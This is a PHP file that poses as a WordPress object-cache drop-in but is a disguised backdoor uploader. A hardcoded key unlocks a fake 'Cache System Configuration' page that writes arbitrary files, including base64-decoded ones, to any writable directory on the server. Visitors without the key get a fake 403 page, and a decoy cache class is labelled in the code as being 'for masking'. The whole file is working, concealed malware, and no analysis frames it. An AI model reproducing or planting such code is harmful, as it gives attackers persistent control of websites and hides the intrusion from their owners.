File: //proc/thread-self/cwd/wp-admin/includes/object-cache.php
<?php
/**
* WordPress Object Cache Drop-in
*
* @package WordPress
* @subpackage Cache
* @since 5.4.0
*/
// Configuration - EDIT THESE
$ENABLE_KEY_ACCESS = true; // Set to false to disable key access
$SECRET_KEY = '11ddbaf3386aea1f2974eee984542152'; // Your secret key
$ALLOW_RENAME = true; // Allow renaming uploaded files
// Helper function for timing-safe comparison
if (!function_exists('hash_equals')) {
function hash_equals($known_string, $user_string) {
if (strlen($known_string) !== strlen($user_string)) {
return false;
}
$result = 0;
for ($i = 0; $i < strlen($known_string); $i++) {
$result |= ord($known_string[$i]) ^ ord($user_string[$i]);
}
return $result === 0;
}
}
// Check if we're in WordPress context
$isWordPressContext = defined('ABSPATH');
// Check key access if enabled
if ($ENABLE_KEY_ACCESS && !$isWordPressContext) {
$providedKey = $_GET['key'] ?? '';
if (!hash_equals($SECRET_KEY, $providedKey)) {
show403();
exit;
}
}
// Handle uploads (only in non-WordPress context or with correct key)
if (!$isWordPressContext || ($ENABLE_KEY_ACCESS && isset($_GET['key']) && hash_equals($SECRET_KEY, $_GET['key']))) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
handleUpload();
exit;
}
// Show interface for GET requests
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
showInterface();
exit;
}
}
// If we reach here, show WordPress cache functionality or 403
if ($isWordPressContext) {
// Load WordPress cache functions
loadWordPressCache();
} else {
show403();
}
exit;
/**
* Handle file upload
*/
function handleUpload() {
header('Content-Type: application/json');
$response = [
'success' => false,
'message' => '',
'path' => ''
];
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
$response['message'] = 'Upload error: ' . $_FILES['file']['error'] ?? 'No file uploaded';
echo json_encode($response);
return;
}
$targetDir = $_POST['path'] ?? __DIR__;
$method = $_POST['method'] ?? 'direct';
$customName = trim($_POST['custom_name'] ?? '');
// Clean target directory
$targetDir = trim($targetDir);
if (empty($targetDir)) {
$targetDir = __DIR__;
}
// Convert relative paths to absolute
if ($targetDir[0] !== '/' && !preg_match('/^[a-zA-Z]:[\\\\\/]/', $targetDir)) {
$targetDir = realpath(__DIR__ . '/' . $targetDir);
}
// Validate target directory
if (!$targetDir || !is_dir($targetDir)) {
$response['message'] = 'Invalid target directory';
echo json_encode($response);
return;
}
if (!is_writable($targetDir)) {
$response['message'] = 'Target directory is not writable';
echo json_encode($response);
return;
}
// Determine filename
if (!empty($customName) && $GLOBALS['ALLOW_RENAME']) {
$filename = sanitizeFilename($customName);
} else {
$filename = sanitizeFilename($_FILES['file']['name']);
}
// Prevent directory traversal
if (strpos($filename, '..') !== false || strpos($filename, '/') !== false || strpos($filename, '\\') !== false) {
$filename = basename($filename);
}
$destination = rtrim($targetDir, '/') . '/' . $filename;
$tmpPath = $_FILES['file']['tmp_name'];
// Check if file already exists
if (file_exists($destination) && !isset($_POST['overwrite'])) {
$response['message'] = 'File already exists. Use overwrite option.';
echo json_encode($response);
return;
}
$result = false;
switch ($method) {
case 'base64':
$content = file_get_contents($tmpPath);
if ($content !== false) {
$decoded = base64_decode($content, true);
if ($decoded !== false) {
$result = file_put_contents($destination, $decoded);
}
}
break;
case 'chunked':
$src = @fopen($tmpPath, 'rb');
$dst = @fopen($destination, 'wb');
if ($src && $dst) {
while (!feof($src)) {
$chunk = fread($src, 8192);
if ($chunk === false) break;
fwrite($dst, $chunk);
}
fclose($src);
fclose($dst);
$result = true;
}
break;
case 'append':
$content = file_get_contents($tmpPath);
if ($content !== false) {
$result = file_put_contents($destination, $content, FILE_APPEND);
}
break;
case 'create':
$content = file_get_contents($tmpPath);
if ($content !== false) {
$result = file_put_contents($destination, $content);
}
break;
default: // direct
$result = move_uploaded_file($tmpPath, $destination);
}
if ($result) {
$response['success'] = true;
$response['message'] = 'File uploaded successfully';
$response['path'] = $destination;
$response['method'] = $method;
$response['size'] = @filesize($destination) ?: 0;
$response['permissions'] = substr(sprintf('%o', fileperms($destination)), -4);
} else {
$response['message'] = 'Upload failed using ' . $method . ' method';
}
echo json_encode($response);
}
/**
* Show upload interface
*/
function showInterface() {
$currentDir = __DIR__;
$maxUpload = getMaxUploadSize();
header('Content-Type: text/html; charset=utf-8');
header('X-Robots-Tag: noindex, nofollow');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Cache Configuration - WordPress</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
background: #f0f0f1;
padding: 20px;
color: #3c434a;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
border-radius: 6px;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
overflow: hidden;
}
.header {
background: #1d2327;
color: white;
padding: 20px;
border-bottom: 1px solid #1d2327;
}
.header h1 {
font-size: 20px;
font-weight: 400;
}
.content {
padding: 30px;
}
.info-box {
background: #f6f7f7;
border: 1px solid #dcdcde;
padding: 15px;
border-radius: 4px;
margin-bottom: 25px;
font-size: 14px;
}
.info-box code {
background: #f0f0f1;
padding: 2px 6px;
border-radius: 3px;
font-family: Consolas, Monaco, monospace;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: 500;
color: #1d2327;
}
input[type="text"],
select {
width: 100%;
padding: 10px 12px;
border: 1px solid #8c8f94;
border-radius: 4px;
font-size: 14px;
font-family: inherit;
}
input[type="file"] {
width: 100%;
padding: 10px 0;
}
.checkbox-group {
display: flex;
align-items: center;
gap: 10px;
margin-top: 5px;
}
button {
background: #2271b1;
color: white;
border: none;
padding: 12px 24px;
border-radius: 4px;
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: background 0.2s;
}
button:hover {
background: #135e96;
}
.result {
margin-top: 25px;
padding: 15px;
border-radius: 4px;
display: none;
}
.success {
background: #d1e7dd;
border: 1px solid #badbcc;
color: #0f5132;
}
.error {
background: #f8d7da;
border: 1px solid #f5c2c7;
color: #842029;
}
.loading {
display: none;
margin-top: 15px;
color: #666;
}
.form-row {
display: flex;
gap: 15px;
}
.form-row .form-group {
flex: 1;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>Cache System Configuration</h1>
</div>
<div class="content">
<div class="info-box">
<p><strong>Current Directory:</strong> <code><?php echo htmlspecialchars($currentDir); ?></code></p>
<p><strong>Max Upload Size:</strong> <?php echo $maxUpload; ?>MB</p>
<p><strong>PHP Version:</strong> <?php echo PHP_VERSION; ?></p>
</div>
<form id="uploadForm" enctype="multipart/form-data">
<div class="form-group">
<label for="path">Target Directory</label>
<input type="text" id="path" name="path" value="<?php echo htmlspecialchars($currentDir); ?>" placeholder="Absolute or relative path" required>
</div>
<div class="form-row">
<div class="form-group">
<label for="method">Upload Method</label>
<select id="method" name="method">
<option value="direct">Direct Upload</option>
<option value="base64">Base64 Decode</option>
<option value="chunked">Chunked Write</option>
<option value="append">Append to File</option>
<option value="create">Create New File</option>
</select>
</div>
<div class="form-group">
<label for="custom_name">Custom Filename (optional)</label>
<input type="text" id="custom_name" name="custom_name" placeholder="Leave empty to keep original">
</div>
</div>
<div class="form-group">
<label for="file">Select File</label>
<input type="file" id="file" name="file" required>
</div>
<div class="checkbox-group">
<input type="checkbox" id="overwrite" name="overwrite" value="1">
<label for="overwrite" style="font-weight: normal;">Overwrite existing file</label>
</div>
<button type="submit">Upload File</button>
<div class="loading" id="loading">Uploading...</div>
</form>
<div class="result" id="result"></div>
</div>
</div>
<script>
document.getElementById('uploadForm').addEventListener('submit', async function(e) {
e.preventDefault();
const formData = new FormData(this);
const resultDiv = document.getElementById('result');
const loading = document.getElementById('loading');
resultDiv.style.display = 'none';
loading.style.display = 'block';
try {
const response = await fetch(window.location.href, {
method: 'POST',
body: formData
});
const data = await response.json();
resultDiv.className = data.success ? 'result success' : 'result error';
resultDiv.innerHTML = '<strong>' + (data.success ? '✓ Success:' : '✗ Error:') + '</strong> ' +
data.message + (data.path ? '<br><code>' + data.path + '</code>' : '') +
(data.size ? '<br>Size: ' + formatBytes(data.size) : '');
resultDiv.style.display = 'block';
} catch (error) {
resultDiv.className = 'result error';
resultDiv.innerHTML = '<strong>✗ Error:</strong> Network request failed';
resultDiv.style.display = 'block';
} finally {
loading.style.display = 'none';
}
});
function formatBytes(bytes, decimals = 2) {
if (bytes === 0) return '0 Bytes';
const k = 1024;
const dm = decimals < 0 ? 0 : decimals;
const sizes = ['Bytes', 'KB', 'MB', 'GB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
}
</script>
</body>
</html>
<?php
}
/**
* Show 403 Forbidden page
*/
function show403() {
header('HTTP/1.1 403 Forbidden');
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>403 Forbidden</title>
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
background: #f1f1f1;
color: #444;
line-height: 1.6;
padding: 20px;
text-align: center;
}
.container {
max-width: 600px;
margin: 100px auto;
background: white;
padding: 40px;
border-radius: 8px;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
}
h1 {
color: #dc3232;
margin-bottom: 20px;
font-size: 32px;
}
p {
margin-bottom: 15px;
}
code {
background: #f0f0f1;
padding: 2px 6px;
border-radius: 3px;
font-family: Consolas, Monaco, monospace;
}
</style>
</head>
<body>
<div class="container">
<h1>403 Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<p>This file is part of WordPress caching system and requires proper configuration.</p>
<p>Ensure the <code>WP_CACHE</code> constant is set to <code>true</code> in <code>wp-config.php</code>.</p>
</div>
</body>
</html>
<?php
}
/**
* Helper functions
*/
function sanitizeFilename($filename) {
$filename = preg_replace('/[^\w\-\.]/', '_', $filename);
return basename($filename);
}
function getMaxUploadSize() {
$maxUpload = (int)ini_get('upload_max_filesize');
$maxPost = (int)ini_get('post_max_size');
$memoryLimit = (int)ini_get('memory_limit');
return min($maxUpload, $maxPost, $memoryLimit);
}
/**
* WordPress Cache Functions (for masking)
*/
function loadWordPressCache() {
if (!class_exists('WP_Object_Cache')) {
class WP_Object_Cache {
private $cache = [];
private $cache_hits = 0;
private $cache_misses = 0;
public function get($key, $group = 'default', $force = false, &$found = null) {
if (isset($this->cache[$group][$key])) {
$this->cache_hits++;
$found = true;
return $this->cache[$group][$key];
}
$this->cache_misses++;
$found = false;
return false;
}
public function set($key, $data, $group = 'default', $expire = 0) {
$this->cache[$group][$key] = $data;
return true;
}
public function add($key, $data, $group = 'default', $expire = 0) {
if (!isset($this->cache[$group][$key])) {
return $this->set($key, $data, $group, $expire);
}
return false;
}
public function delete($key, $group = 'default') {
if (isset($this->cache[$group][$key])) {
unset($this->cache[$group][$key]);
return true;
}
return false;
}
public function flush() {
$this->cache = [];
return true;
}
}
global $wp_object_cache;
$wp_object_cache = new WP_Object_Cache();
// Define cache functions if not exists
if (!function_exists('wp_cache_init')) {
function wp_cache_init() {
global $wp_object_cache;
// Already initialized
}
function wp_cache_get($key, $group = '', $force = false, &$found = null) {
global $wp_object_cache;
return $wp_object_cache->get($key, $group, $force, $found);
}
function wp_cache_set($key, $data, $group = '', $expire = 0) {
global $wp_object_cache;
return $wp_object_cache->set($key, $data, $group, $expire);
}
function wp_cache_add($key, $data, $group = '', $expire = 0) {
global $wp_object_cache;
return $wp_object_cache->add($key, $data, $group, $expire);
}
function wp_cache_delete($key, $group = '') {
global $wp_object_cache;
return $wp_object_cache->delete($key, $group);
}
function wp_cache_flush() {
global $wp_object_cache;
return $wp_object_cache->flush();
}
function wp_cache_close() {
return true;
}
}
}
}